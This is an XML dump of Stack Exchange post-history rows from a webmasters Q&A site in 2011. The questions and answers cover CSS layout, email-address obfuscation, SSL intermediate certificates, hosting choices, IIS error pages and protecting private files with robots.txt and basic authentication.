  <row Id="23654" PostHistoryTypeId="1" PostId="10567" RevisionGUID="fa1706f2-c78b-42a9-9d2c-34215c37a1a8" CreationDate="2011-03-12T02:44:32.777" UserId="6045" Text="Determine content length to have a dynamic hr tag" />
  <row Id="23655" PostHistoryTypeId="3" PostId="10567" RevisionGUID="fa1706f2-c78b-42a9-9d2c-34215c37a1a8" CreationDate="2011-03-12T02:44:32.777" UserId="6045" Text="&lt;html&gt;&lt;css&gt;&lt;tags&gt;" />
  <row Id="23656" PostHistoryTypeId="2" PostId="10568" RevisionGUID="b60db3d1-6434-4037-9798-349ac7e5616b" CreationDate="2011-03-12T03:11:06.013" UserId="6043" Text="I don't believe it's possible purely with HTML &amp; CSS. You could, however, use some JavaScript to calculate the width of your `&lt;h2&gt;` and then make your `&lt;hr&gt;`'s width `&lt;h2&gt;`'s + 5%. You can use the `window.onload` and `window.onresize` events to update the width of your `&lt;hr&gt;` as the size of the window changes." />
  <row Id="23657" PostHistoryTypeId="25" PostId="10567" RevisionGUID="faddc0e1-c9c5-4f0c-aa93-72d647f6cf1a" CreationDate="2011-03-12T05:23:34.437" Comment="http://twitter.com/#!/StackWebmasters/status/46441178228473856" />
  <row Id="23658" PostHistoryTypeId="2" PostId="10569" RevisionGUID="2e1e3cc2-c7a9-4423-96aa-e3f5422a48b9" CreationDate="2011-03-12T05:27:29.183" UserId="5718" Text="If it's OK to use `float` or `absolute` positioning then you could try the following:&#xD;&#xA;&#xD;&#xA;    &lt;div style=&quot;float: left; width:auto;&quot;&gt;&#xD;&#xA;       &lt;h2&gt;SOME RANDOM TITLE LENGTH&lt;/h2&gt;&#xD;&#xA;       &lt;hr/&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Unfortunatley, I don't think `width:auto` works with `static` or `relative` positioning." />
  <row Id="23659" PostHistoryTypeId="2" PostId="10570" RevisionGUID="4e5008b8-1421-4c1e-859f-683fa7741d54" CreationDate="2011-03-12T06:44:24.977" UserId="6048" Text="Why not just set the h2 style to underline? H2 is a block element. The hr should be unnecessary." />
  <row Id="23660" PostHistoryTypeId="25" PostId="10565" RevisionGUID="1b625e5a-70e3-4f33-8771-1f2dd0c4b990" CreationDate="2011-03-12T08:23:35.123" Comment="http://twitter.com/#!/StackWebmasters/status/46486479874170880" />
  <row Id="23661" PostHistoryTypeId="2" PostId="10571" RevisionGUID="bedfdcb4-ea97-4653-bc6e-c2e24e2d6ad8" CreationDate="2011-03-12T09:15:07.767" UserId="6049" Text="We have a asp.net MVC3 based web app which uses **SQL SERVER 2008** for database. Also, we have a client side desktop application which also uses SQL SERVER 2008.&#xD;&#xA;While developing the system, we are able to Sync tables using SQL SERVER **Replication** feature. Now, we want to host our site on a webserver but we are clueless about it.&#xD;&#xA;If anyone of you have a similar system working then please suggest a cheap but reliable webhost which supports Replication. &#xD;&#xA;&#xD;&#xA;Initially there will be approximately **10 or less clients** who will perform replication **2 or 3 times** a day.&#xD;&#xA;The size of the database will be less than 4GB for sure." />
  <row Id="23662" PostHistoryTypeId="1" PostId="10571" RevisionGUID="bedfdcb4-ea97-4653-bc6e-c2e24e2d6ad8" CreationDate="2011-03-12T09:15:07.767" UserId="6049" Text="Suggest windows webhost provider for following requirements." />
  <row Id="23663" PostHistoryTypeId="3" PostId="10571" RevisionGUID="bedfdcb4-ea97-4653-bc6e-c2e24e2d6ad8" CreationDate="2011-03-12T09:15:07.767" UserId="6049" Text="&lt;web-hosting&gt;&lt;server&gt;&lt;windows&gt;&lt;sql&gt;" />
  <row Id="23664" PostHistoryTypeId="5" PostId="10569" RevisionGUID="19351702-8282-435b-841d-165a80e715c2" CreationDate="2011-03-12T10:10:36.363" UserId="5718" Comment="added 39 characters in body" Text="If it's OK to use `float` or `absolute` positioning then you could try the following:&#xD;&#xA;&#xD;&#xA;    &lt;div style=&quot;float: left; width:auto;&quot;&gt;&#xD;&#xA;       &lt;h2&gt;SOME RANDOM TITLE LENGTH&lt;/h2&gt;&#xD;&#xA;       &lt;hr style=&quot;width: 110%; margin-left: -5%;&quot;/&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Unfortunatley, I don't think `width:auto` works with `static` or `relative` positioning." />
  <row Id="23665" PostHistoryTypeId="25" PostId="10571" RevisionGUID="6027c7dd-3e2e-4761-b3e2-6c220e563e58" CreationDate="2011-03-12T11:23:35.583" Comment="http://twitter.com/#!/StackWebmasters/status/46531780009918464" />
  <row Id="23666" PostHistoryTypeId="2" PostId="10572" RevisionGUID="292c189f-4958-4074-8d5d-062365aae853" CreationDate="2011-03-12T11:59:24.160" UserId="6051" Text="I read somewhere that hiding email address behind JavaScript code, could reduce spam bots harvesting the email address. &#xD;&#xA;&#xD;&#xA;	&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&gt;&#xD;&#xA;	  var a = &quot;Red&quot;;&#xD;&#xA;	  var t = &quot;no&quot;;&#xD;&#xA;	  var doc = document;&#xD;&#xA;	  var b = &quot;ITpro&quot;;&#xD;&#xA;	  var ad = a; ad += &quot;@&quot;; ad += b; ad += &quot;.&quot;; ad += t;&#xD;&#xA;	  var mt = &quot;ma&quot;; mt += &quot;il&quot;; mt += &quot;to&quot;;&#xD;&#xA;	  var text = &quot;&quot;;&#xD;&#xA;	  if (text == null || text.length == 0)&#xD;&#xA;		text = ad;&#xD;&#xA;	  doc.write(&quot;&lt;&quot;+&quot;a hr&quot;+&quot;ef=\&quot;&quot;+mt+&quot;:&quot;+ad+&quot;\&quot;&gt;&quot;+text+&quot;&lt;/&quot;+&quot;a&gt;&quot;);&#xD;&#xA;	&lt;/script&gt;&#xD;&#xA;This will not display the actual email-address in the sourcecode of the page, but it will display and work like a normal link for human users. &#xD;&#xA;&#xD;&#xA;Is it any point of doing this? Will it reduce spam bots, or is it just nonsense that might slow down performance of the page because of the JavaScript? " />
  <row Id="23667" PostHistoryTypeId="1" PostId="10572" RevisionGUID="292c189f-4958-4074-8d5d-062365aae853" CreationDate="2011-03-12T11:59:24.160" UserId="6051" Text="Hide email adress with JavaScript" />
  <row Id="23668" PostHistoryTypeId="3" PostId="10572" RevisionGUID="292c189f-4958-4074-8d5d-062365aae853" CreationDate="2011-03-12T11:59:24.160" UserId="6051" Text="&lt;javascript&gt;" />
  <row Id="23669" PostHistoryTypeId="2" PostId="10573" RevisionGUID="ff46a1b7-9714-471c-8c23-a0a033d3085c" CreationDate="2011-03-12T12:12:57.693" UserId="5119" Text="I have recently encountered the following issue: a user couldn't access a website that was using an intermediate VeriSign certificate because it is no longer included in Firefox.&#xD;&#xA;&#xD;&#xA;Some sources claim that Firefox will import the certificate from websites that send it, others say that it won't.&#xD;&#xA;&#xD;&#xA;Will it? If not, is it supposed to?" />
  <row Id="23670" PostHistoryTypeId="1" PostId="10573" RevisionGUID="ff46a1b7-9714-471c-8c23-a0a033d3085c" CreationDate="2011-03-12T12:12:57.693" UserId="5119" Text="Are browsers supposed to automatically retrieve intermediate SSL certificates and do they?" />
  <row Id="23671" PostHistoryTypeId="3" PostId="10573" RevisionGUID="ff46a1b7-9714-471c-8c23-a0a033d3085c" CreationDate="2011-03-12T12:12:57.693" UserId="5119" Text="&lt;ssl-certificate&gt;" />
  <row Id="23672" PostHistoryTypeId="2" PostId="10574" RevisionGUID="cf2a2d8a-3175-4d4c-8058-32f9832f7347" CreationDate="2011-03-12T12:13:17.443" UserId="3467" Text="Someone did research to find out what ways would help best to prevent spammers from spidering your emailaddress, and here's the results:&#xD;&#xA;&#xD;&#xA;http://techblog.tilllate.com/2008/07/20/ten-methods-to-obfuscate-e-mail-addresses-compared/&#xD;&#xA;&#xD;&#xA;Their top 3 ways, according to the results:&#xD;&#xA;&#xD;&#xA;**1. Changing the code direction with CSS**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;span style=&quot;unicode-bidi: bidi-override; direction: rtl;&quot;&gt;&#xD;&#xA;      moc.liame@sserdda&#xD;&#xA;    &lt;/span&gt;&#xD;&#xA;&#xD;&#xA;(shows up as `address@email.com` to regular visitors)&#xD;&#xA;&#xD;&#xA;**2. Using CSS display:none**&#xD;&#xA;&#xD;&#xA;    &lt;style type=”text/css”&gt;&#xD;&#xA;      p span.displaynone { display:none; }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;p&gt;silvanfoobar8@&lt;span class=”displaynone”&gt;null&lt;/span&gt;tilllate.com&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;**3. ROT13 Encryption**&#xD;&#xA;&#xD;&#xA;ROT13 encode the e-mail address with this tool or use the str_rot13 function of PHP and decode it via Javascript.&#xD;&#xA;&#xD;&#xA;    &lt;script type=”text/javascript”&gt;&#xD;&#xA;    document.write(“&#xD;&#xA;        &lt;n uers=\”znvygb:fvyinasbbone10@gvyyyngr.pbz\” ery=\”absbyybj\”&gt;”.replace(/[a-zA-Z]/g, &#xD;&#xA;        function(c){&#xD;&#xA;            return String.fromCharCode((c&lt;=”Z”?90:122)&gt;=(c=c.charCodeAt(0)+13)?c:c-26);&#xD;&#xA;        }));&#xD;&#xA;    &lt;/script&gt;Email Me&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Where you have to replace `fvyinasbbone10@gvyyyngr.pbz` with a rot13-encoded version of your mail.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So yes, it will help but you might as well just go for one of the two CSS solutions, they're much easier to implement." />
  <row Id="23673" PostHistoryTypeId="2" PostId="10575" RevisionGUID="487ebfc3-5feb-490b-92c7-513ec18f51ee" CreationDate="2011-03-12T12:29:40.420" UserId="4311" Text="Firefox is supposed to, and does, import intermediate certificates that are provided by the web server it's currently talking to. It won't go out and find them for itself. Most likely the website in question has omitted to install the correct certificate chain. " />
  <row Id="23674" PostHistoryTypeId="17" PostId="10577" RevisionGUID="48ee7845-e065-4149-8911-2dd37c1ff449" CreationDate="2011-03-12T12:58:26.630" UserId="-1" Comment="from http://stackoverflow.com/questions/5281932/what-is-the-single-most-influential-book-about-website-promotion-and-internet-mar/5281983#5281983" Text="" />
  <row Id="23675" PostHistoryTypeId="2" PostId="10577" RevisionGUID="4e1877aa-f94d-4b4d-9670-804f24b215e5" CreationDate="2011-03-12T10:36:47.440" UserId="2189" Text="Not sure what is the best, it is a subjective opinion. &#xD;&#xA;&#xD;&#xA;But one, that is definitely in top 20 and I personally thought was worth a read was Seth Godin book : &quot;Purple Cow&quot;." />
  <row Id="23676" PostHistoryTypeId="2" PostId="10576" RevisionGUID="c978009b-68c2-4e44-88dc-6ad4e9af4024" CreationDate="2011-03-12T10:24:33.060" UserDisplayName="Almas Adilbek" Text="What is the single most influential, useful, famous book about website promotion and internet marketing?" />
  <row Id="23677" PostHistoryTypeId="1" PostId="10576" RevisionGUID="c978009b-68c2-4e44-88dc-6ad4e9af4024" CreationDate="2011-03-12T10:24:33.060" UserDisplayName="Almas Adilbek" Text="What is the single most influential book about website promotion and internet marketing?" />
  <row Id="23678" PostHistoryTypeId="3" PostId="10576" RevisionGUID="c978009b-68c2-4e44-88dc-6ad4e9af4024" CreationDate="2011-03-12T10:24:33.060" UserDisplayName="Almas Adilbek" Text="&lt;books&gt;&lt;websites&gt;&lt;marketing&gt;" />
  <row Id="23679" PostHistoryTypeId="17" PostId="10576" RevisionGUID="5847211a-78a6-4bcf-aeb5-5db831f81bdb" CreationDate="2011-03-12T12:58:26.630" UserId="-1" Comment="from http://stackoverflow.com/questions/5281932/what-is-the-single-most-influential-book-about-website-promotion-and-internet-mar" Text="" />
  <row Id="23680" PostHistoryTypeId="5" PostId="10536" RevisionGUID="6b99dd8c-5084-4325-99ff-29f90da7083e" CreationDate="2011-03-12T13:21:18.467" UserId="5739" Comment="EDIT: added text I forgot to include last time." Text="Don't forget to include a Title tag in your links as well.&#xD;&#xA;&#xD;&#xA;And yes, the anchor text is the text that goes between the tags that is visible in the browser.&#xD;&#xA;&#xD;&#xA;An often made mistake is creating a link like this:&#xD;&#xA;&#xD;&#xA;Further details on crazy dutch available ***here*** &#xD;&#xA;&#xD;&#xA;where the bold italic is the link. &#xD;&#xA;&#xD;&#xA;What you are looking for is the anchor text to be relevant to the landing page content and url&#xD;&#xA;&#xD;&#xA;ie:&#xD;&#xA;&#xD;&#xA;Further details on ***crazy dutch design*** are available &#xD;&#xA;&#xD;&#xA;You are looking for as high a relevance between your link and the landing page as possible.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23681" PostHistoryTypeId="16" PostId="10577" RevisionGUID="7440fefc-e5d8-4726-9733-90fdc6529a69" CreationDate="2011-03-12T13:40:24.470" UserId="1064" />
  <row Id="23682" PostHistoryTypeId="16" PostId="10576" RevisionGUID="74f765ec-7279-464d-99e6-05667c22fbbb" CreationDate="2011-03-12T13:40:24.470" UserId="1064" />
  <row Id="23683" PostHistoryTypeId="25" PostId="10572" RevisionGUID="80130d58-3848-4354-8006-9581e82f19f6" CreationDate="2011-03-12T14:23:36.023" Comment="http://twitter.com/#!/StackWebmasters/status/46577080258924544" />
  <row Id="23684" PostHistoryTypeId="2" PostId="10578" RevisionGUID="f7e478ad-5b2b-46b6-9a86-272fd56547e0" CreationDate="2011-03-12T14:45:10.710" UserId="5659" Text="Google shows up incorrect meta info (title &amp; description) in search engine results for an add domain and the information is of the domain which is the primary domain of the hosting account. I mentioned this fact because add-on domains are in a sub-directory of the primary domain.&#xD;&#xA;&#xD;&#xA;Any ideas what could be the reason?" />
  <row Id="23685" PostHistoryTypeId="1" PostId="10578" RevisionGUID="f7e478ad-5b2b-46b6-9a86-272fd56547e0" CreationDate="2011-03-12T14:45:10.710" UserId="5659" Text="Incorrect Meta information in Google" />
  <row Id="23686" PostHistoryTypeId="3" PostId="10578" RevisionGUID="f7e478ad-5b2b-46b6-9a86-272fd56547e0" CreationDate="2011-03-12T14:45:10.710" UserId="5659" Text="&lt;google-search&gt;" />
  <row Id="23687" PostHistoryTypeId="2" PostId="10579" RevisionGUID="d1e0ad5d-73e7-434b-be1b-0407bd2bb790" CreationDate="2011-03-12T15:15:06.233" UserId="4322" Text="Google displays a title and snippet in its search results.&#xD;&#xA;&#xD;&#xA;Google has the right to display anything in those spots.&#xD;&#xA;&#xD;&#xA;If the pages title tag and meta description match well with the users search and the pages content, then they tend to use them.&#xD;&#xA;&#xD;&#xA;If not, they may look into the content, or even further to find relevant text to display.&#xD;&#xA;&#xD;&#xA;So, I would assume your title &amp; description don't match well with the search or content." />
  <row Id="23688" PostHistoryTypeId="5" PostId="10578" RevisionGUID="a6f507e8-35b1-446c-8774-ed4bc4715326" CreationDate="2011-03-12T15:49:59.530" UserId="5659" Comment="added links" Text="Google shows up incorrect meta info (title &amp; description) in search engine results for an add domain and the information is of the domain which is the primary domain of the hosting account. I mentioned this fact because add-on domains are in a sub-directory of the primary domain.&#xD;&#xA;&#xD;&#xA;Any ideas what could be the reason?&#xD;&#xA;&#xD;&#xA;Check this [Google search][1] which shows the information of http://katherinegaudette.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=site:http://turantastan.com" />
  <row Id="23689" PostHistoryTypeId="2" PostId="10580" RevisionGUID="1f842288-5003-4017-b958-f8c76a284747" CreationDate="2011-03-12T16:37:41.220" UserId="1064" Text="Looks like there is something wrong with Google's cached copy of the site - the &quot;Cached&quot; link throws an error on that search.&#xD;&#xA;&#xD;&#xA;Do you see any crawl errors or inconsistencies in Google Webmaster Tools for the `turantastan.com` domain?" />
  <row Id="23690" PostHistoryTypeId="25" PostId="10573" RevisionGUID="fac244e1-26e4-4e36-90ee-966174e773be" CreationDate="2011-03-12T17:23:35.867" Comment="http://twitter.com/#!/StackWebmasters/status/46622378440138752" />
  <row Id="23691" PostHistoryTypeId="2" PostId="10581" RevisionGUID="c1da9f3f-f61b-4969-80f4-58eb63e8e9e1" CreationDate="2011-03-12T18:28:12.913" UserId="2810" Text="Recently one ad network rejected my registration stating that my site doesn't match their minimum monthly impressions, even though the site serves thrice the required page views. When I contacted them for details, their representative hinted that they are using comscore data for screening submissions. &#xD;&#xA;&#xD;&#xA;Where can I view my site's comscore ranking and details?" />
  <row Id="23692" PostHistoryTypeId="1" PostId="10581" RevisionGUID="c1da9f3f-f61b-4969-80f4-58eb63e8e9e1" CreationDate="2011-03-12T18:28:12.913" UserId="2810" Text="Where can I find comscore rank?" />
  <row Id="23693" PostHistoryTypeId="3" PostId="10581" RevisionGUID="c1da9f3f-f61b-4969-80f4-58eb63e8e9e1" CreationDate="2011-03-12T18:28:12.913" UserId="2810" Text="&lt;analytics&gt;&lt;traffic&gt;" />
  <row Id="23694" PostHistoryTypeId="2" PostId="10582" RevisionGUID="24ba32f1-e30b-4133-807e-64348fae81d8" CreationDate="2011-03-12T18:35:10.433" UserId="1253" Text="Probably from [Comscore][1] directly although I suspect you'll have to pay for the information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.comscore.com/" />
  <row Id="23695" PostHistoryTypeId="2" PostId="10583" RevisionGUID="ce2a3ecf-09f4-4c9c-b511-06dfe8a1d57d" CreationDate="2011-03-12T19:37:40.033" UserId="6056" Text="So, i am currently writing something up for a college class. Problem is everything is hypothetical. I need some proof. I believe a first impression on a website is imperative so that people actually use it and in my case, buy your product or services as well.&#xD;&#xA;&#xD;&#xA;Basically I'm wondering has there been any studies that shows how a better web design will increase revenue for any kind of services? I don't just mean selling products like a T-shirt, but labor services as well. &#xD;&#xA;&#xD;&#xA;If someone wanted their computer fixed and searched for companies that can do so, will a first impression on the website help them make their decision to use your company? Are there any studies like this? White papers maybe?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="23696" PostHistoryTypeId="1" PostId="10583" RevisionGUID="ce2a3ecf-09f4-4c9c-b511-06dfe8a1d57d" CreationDate="2011-03-12T19:37:40.033" UserId="6056" Text="Do first impressions really count?" />
  <row Id="23697" PostHistoryTypeId="3" PostId="10583" RevisionGUID="ce2a3ecf-09f4-4c9c-b511-06dfe8a1d57d" CreationDate="2011-03-12T19:37:40.033" UserId="6056" Text="&lt;seo&gt;&lt;website-design&gt;&lt;marketing&gt;&lt;impressions&gt;" />
  <row Id="23698" PostHistoryTypeId="25" PostId="10583" RevisionGUID="4c04c6a4-2086-4523-b198-f2ff0da4690b" CreationDate="2011-03-12T20:23:35.797" Comment="http://twitter.com/#!/StackWebmasters/status/46667676315160576" />
  <row Id="23704" PostHistoryTypeId="2" PostId="10585" RevisionGUID="7c706b24-fa75-4634-b97e-1728b320c714" CreationDate="2011-03-12T12:45:28.597" UserDisplayName="Peter" Text="I've got custom errors to work for .aspx page like: `www.domain.com/whateverdfdgdfg.aspx`&#xD;&#xA;&#xD;&#xA;But, when no .aspx url is requested, (like `http://www.domain.com/hfdkfdh4545`) it results in an error:&#xD;&#xA;&#xD;&#xA;&gt;HTTP Error 404.0 - Not Found&#xD;&#xA;The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.&#xD;&#xA;&#xD;&#xA;I have this in my web.config:&#xD;&#xA;&#xD;&#xA;    &lt;customErrors mode=&quot;On&quot; defaultRedirect=&quot;/error/1&quot; redirectMode=&quot;ResponseRedirect&quot;&gt;&#xD;&#xA;      &lt;error statusCode=&quot;404&quot; redirect=&quot;/404.aspx&quot; /&gt;&#xD;&#xA;    &lt;/customErrors&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;404.aspx exists, since the above DOES work when requesting non-existent .aspx pages...&#xD;&#xA;&#xD;&#xA;I also configured the errorpages in IIS7:&#xD;&#xA;Status code: 404&#xD;&#xA;Path: /404.aspx&#xD;&#xA;Type: Execute URL&#xD;&#xA;Entry type: Local&#xD;&#xA;&#xD;&#xA;My websites application pool setting is &quot;ASP.NET v4.0&quot;&#xD;&#xA;&#xD;&#xA;Now why is this still not working?&#xD;&#xA;" />
  <row Id="23705" PostHistoryTypeId="1" PostId="10585" RevisionGUID="7c706b24-fa75-4634-b97e-1728b320c714" CreationDate="2011-03-12T12:45:28.597" UserDisplayName="Peter" Text="Configuring IIS7 404 page when using IIS7 urlrewrite module" />
  <row Id="23706" PostHistoryTypeId="3" PostId="10585" RevisionGUID="7c706b24-fa75-4634-b97e-1728b320c714" CreationDate="2011-03-12T12:45:28.597" UserDisplayName="Peter" Text="&lt;.net&gt;&lt;iis7&gt;" />
  <row Id="23707" PostHistoryTypeId="17" PostId="10585" RevisionGUID="e6bfa9b4-b580-44c9-9826-b8c3ad9519c0" CreationDate="2011-03-12T23:31:54.883" UserId="-1" Comment="from http://stackoverflow.com/questions/5282558/configuring-iis7-404-page-when-using-iis7-urlrewrite-module" Text="" />
  <row Id="23708" PostHistoryTypeId="2" PostId="10586" RevisionGUID="a6360fba-4c3a-4922-9c4a-e5375672d5c8" CreationDate="2011-03-11T20:56:22.370" UserDisplayName="ddawber" Text="We're currently hosting a number of sites on a self-managed dedicated server.&#xD;&#xA;&#xD;&#xA;Some companies, however, offer a managed dedicated server hosting service. They offer:&#xD;&#xA;&#xD;&#xA;- Roughly the same server spec&#xD;&#xA;- Ticketing system support&#xD;&#xA;- Managed daily backups&#xD;&#xA;- Virtual firewall (but with a limit of 10 IP addresses allowed through at any one time)&#xD;&#xA;&#xD;&#xA;Now, this managed hosting is at extra expense - somewhere in the region of $500 per month, and the limit on the number of IP addresses they'll manage on the firewall is also a real pain.&#xD;&#xA;&#xD;&#xA;My thinking is it would be better and cheaper to&#xD;&#xA;&#xD;&#xA;- Stay with the same host since the dedicated box is fine&#xD;&#xA;- Get an Amazon AWS account and use their server to manage backups; there are a number of good tools that can be used to automate the process&#xD;&#xA;- Configure `iptables` so that I have complete control of the firewall&#xD;&#xA;&#xD;&#xA;I want to know&#xD;&#xA;&#xD;&#xA;- **Is a managed virtual firewall likely to be more secure than me configuring `iptables`?**&#xD;&#xA;- **Whether, in your opinion, it's best to let someone else take care of backups?**&#xD;&#xA;- **If, from your experience, there's anything else i'm missing that warrants using managed hosting over a DIY service?**&#xD;&#xA;&#xD;&#xA;I think there is some reluctance to not having managed hosting since a managed host in effect takes responsibility for your server, whereas any hardware or security issues with a server that **we** manage would mean we are forced to hold our hands up when a client site goes down. &#xD;&#xA;&#xD;&#xA;**That said, I personally don't think a managed host does *that* much** in the day to day running of your server (backups are automatic, OS updates are carried out with ease, etc.)." />
  <row Id="23709" PostHistoryTypeId="1" PostId="10586" RevisionGUID="a6360fba-4c3a-4922-9c4a-e5375672d5c8" CreationDate="2011-03-11T20:56:22.370" UserDisplayName="ddawber" Text="Dedicated server: managed hosting or manage it myself?" />
  <row Id="23710" PostHistoryTypeId="3" PostId="10586" RevisionGUID="a6360fba-4c3a-4922-9c4a-e5375672d5c8" CreationDate="2011-03-11T20:56:22.370" UserDisplayName="ddawber" Text="&lt;server&gt;&lt;web-hosting&gt;" />
  <row Id="23711" PostHistoryTypeId="17" PostId="10586" RevisionGUID="bbeed441-8a72-4132-9481-7bcd1765d2ec" CreationDate="2011-03-13T00:49:13.033" UserId="-1" Comment="from http://stackoverflow.com/questions/5278257/dedicated-server-managed-hosting-or-manage-it-myself" Text="" />
  <row Id="23712" PostHistoryTypeId="6" PostId="10583" RevisionGUID="717335f8-06cf-46f7-a264-6a5cb23549e9" CreationDate="2011-03-13T02:13:24.693" UserId="1757" Comment="retag" Text="&lt;website-design&gt;&lt;marketing&gt;&lt;psychology&gt;" />
  <row Id="23713" PostHistoryTypeId="25" PostId="10581" RevisionGUID="9c77027f-79f1-475d-9c46-d662140de14b" CreationDate="2011-03-13T02:23:36.003" Comment="http://twitter.com/#!/StackWebmasters/status/46758273164124160" />
  <row Id="23714" PostHistoryTypeId="2" PostId="10587" RevisionGUID="2afe4d49-49a6-449c-8879-b558c6f87e85" CreationDate="2011-03-13T03:37:32.843" UserId="1905" Text="I was asked a while ago to setup a server such that only authenticated users can access files. It was like a test server for clients to view WIP sites. More recently, I want to do something similar for some of my files. Tho they are not very confidential, I wish that I am the only one viewing it. &#xD;&#xA;&#xD;&#xA;I thought of doing the same, &#xD;&#xA;&#xD;&#xA;1. Create a robots.txt &#xD;&#xA;&#xD;&#xA;        User-agent: *&#xD;&#xA;        Disallow: /&#xD;&#xA;&#xD;&#xA;2. Setup some password protection, .htpasswd seems like a very ugly way to do it. It will prompt me even when I log into FTP. I wonder if software method like password protected posts in Wordpress will do the trick of locking out the public and hiding content from Search Engines? Or some self made PHP script will do the trick?" />
  <row Id="23715" PostHistoryTypeId="1" PostId="10587" RevisionGUID="2afe4d49-49a6-449c-8879-b558c6f87e85" CreationDate="2011-03-13T03:37:32.843" UserId="1905" Text="Keeping files private on the internet (.htaccess password or software/php/wordpress password)" />
  <row Id="23716" PostHistoryTypeId="3" PostId="10587" RevisionGUID="2afe4d49-49a6-449c-8879-b558c6f87e85" CreationDate="2011-03-13T03:37:32.843" UserId="1905" Text="&lt;search-engines&gt;&lt;security&gt;&lt;privacy&gt;" />
  <row Id="23717" PostHistoryTypeId="2" PostId="10588" RevisionGUID="8e42a506-4523-48b2-98ac-79309731f2e9" CreationDate="2011-03-13T03:51:04.573" UserId="6033" Text="Your first two questions are difficult to answer because you ask if we think you are better at handling certain tasks compared to other professionals. We don't know that answer.&#xD;&#xA;&#xD;&#xA;The third question is answerable, it's money vs time. If you have enough down time in your business to manage the server then there is a potential monetary upside to doing it yourself. If you have to take time out of doing whatever it is you do to make money to manage the server, then you probably won't put in the effort to make sure it stays secure with proper backups. " />
  <row Id="23718" PostHistoryTypeId="2" PostId="10589" RevisionGUID="2131993e-f9de-48f4-8eae-8548cf8f6752" CreationDate="2011-03-13T04:03:14.200" UserId="1253" Text="The robots.txt method won't offer you any real security as not only do bots not have to honor it, but it's still possible that content gets indexed anyway which has been shown to happen. Plus if someone knows where the content is robots.txt does nothing to stop someone from accessing that content.&#xD;&#xA;&#xD;&#xA;Basic Authentication, which is what .htpasswd is, will keep bots and anyone you don't want in, out. But it is clunky and if you access the content from a public computer you better make sure you close the browser or else anyone can access it without logging back in.&#xD;&#xA;&#xD;&#xA;Password protected posts like in Wordpress require you creating a login and authentication system of your own. That is very flexible but obviously requires more work on your end to set up. &#xD;&#xA;&#xD;&#xA;Basic authentication will do exactly what you need and fast. If you're the only person trying to access the files it probably is the best way to go. But if you ever plan on expanding who can access that content you want to make a basic login system for yourself and there are [lots of tutorials available for doing it][1] (at least in PHP). Definitely use the robots.txt file and I would also place a .htaccess file that uses the x-robots-tag to also block bots as it is more effective:&#xD;&#xA;&#xD;&#xA;    Header set X-Robots-Tag: noindex&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=php+login+tutorial" />
  <row Id="23719" PostHistoryTypeId="2" PostId="10590" RevisionGUID="9b736376-446a-47fb-9b24-b05c090c706b" CreationDate="2011-03-13T04:28:23.837" UserId="5056" Text="I recently purchased a domain name.  We'll call it `example.com`.  The previous owner of the domain had a Google Apps account.&#xD;&#xA;&#xD;&#xA;Now that I own the domain, I want to create a Google Apps account so I can point the domain `www.example.com` to one of my Google App Engine domains.  We'll call it `application.appspot.com`.&#xD;&#xA;&#xD;&#xA;Google App Engine won't allow me to add the domain without verifying ownership by creating a Google Apps account or logging into Google Apps, but I don't have access to the old Google Apps account.&#xD;&#xA;&#xD;&#xA;We've tried going to this address to take ownership:&#xD;&#xA;https://www.google.com/a/cpanel/example.com/ResetAdminPassword?c=LONG_KEY&amp;hl=en_US&#xD;&#xA;&#xD;&#xA;We retrieved a new password, but it wouldn't tell us what the login name is.  How do you find out the login name?" />
  <row Id="23720" PostHistoryTypeId="1" PostId="10590" RevisionGUID="9b736376-446a-47fb-9b24-b05c090c706b" CreationDate="2011-03-13T04:28:23.837" UserId="5056" Text="I Purchased a Domain that Previously had a Google Apps Account. How Do I Re-Create The Google Apps Account or Take Ownership of it?" />
  <row Id="23721" PostHistoryTypeId="3" PostId="10590" RevisionGUID="9b736376-446a-47fb-9b24-b05c090c706b" CreationDate="2011-03-13T04:28:23.837" UserId="5056" Text="&lt;google-apps&gt;" />
  <row Id="23722" PostHistoryTypeId="25" PostId="10587" RevisionGUID="a6eae18f-e337-43e2-a742-70bdaf633033" CreationDate="2011-03-13T05:23:35.600" Comment="http://twitter.com/#!/StackWebmasters/status/46803570967855105" />
  <row Id="23723" PostHistoryTypeId="2" PostId="10591" RevisionGUID="3ff888a5-7a4d-498a-a985-4dac043d5f1d" CreationDate="2011-03-13T05:37:22.413" UserId="5858" Text="it's couple of months I've been using SH404SEF With my site. But in my site I'm getting url's in the form: http://www.downloadformsindia.com/Income-Tax-Forms/all-income-tax-return-itr-forms-2010-2011.html?task=view&#xD;&#xA;&#xD;&#xA;If I remove this suffix(?task=view), it takes us to the same page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I had raised this issue in SH404SEF forum, and I was told that this data is taken as parameter by search engines hence ignored.&#xD;&#xA;&#xD;&#xA;I want to redirect using RewriteMatch in .htaccess all such url's to the url's without ?task=view ones :&#xD;&#xA;....downloadformsindia.com/Income-Tax-Forms/all-income-tax-return-itr-forms-2010-2011.html?task=view&#xD;&#xA;&#xD;&#xA;to be redirected to&#xD;&#xA;&#xD;&#xA;http://www.downloadformsindia.com/Income-Tax-Forms/all-income-tax-return-itr-forms-2010-2011.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**So my question is:&#xD;&#xA;Will this redirection create 404's in the Google webmaster. I've thousand's of pages in the site**&#xD;&#xA;" />
  <row Id="23724" PostHistoryTypeId="1" PostId="10591" RevisionGUID="3ff888a5-7a4d-498a-a985-4dac043d5f1d" CreationDate="2011-03-13T05:37:22.413" UserId="5858" Text="Joomla url issue with sh404SEF" />
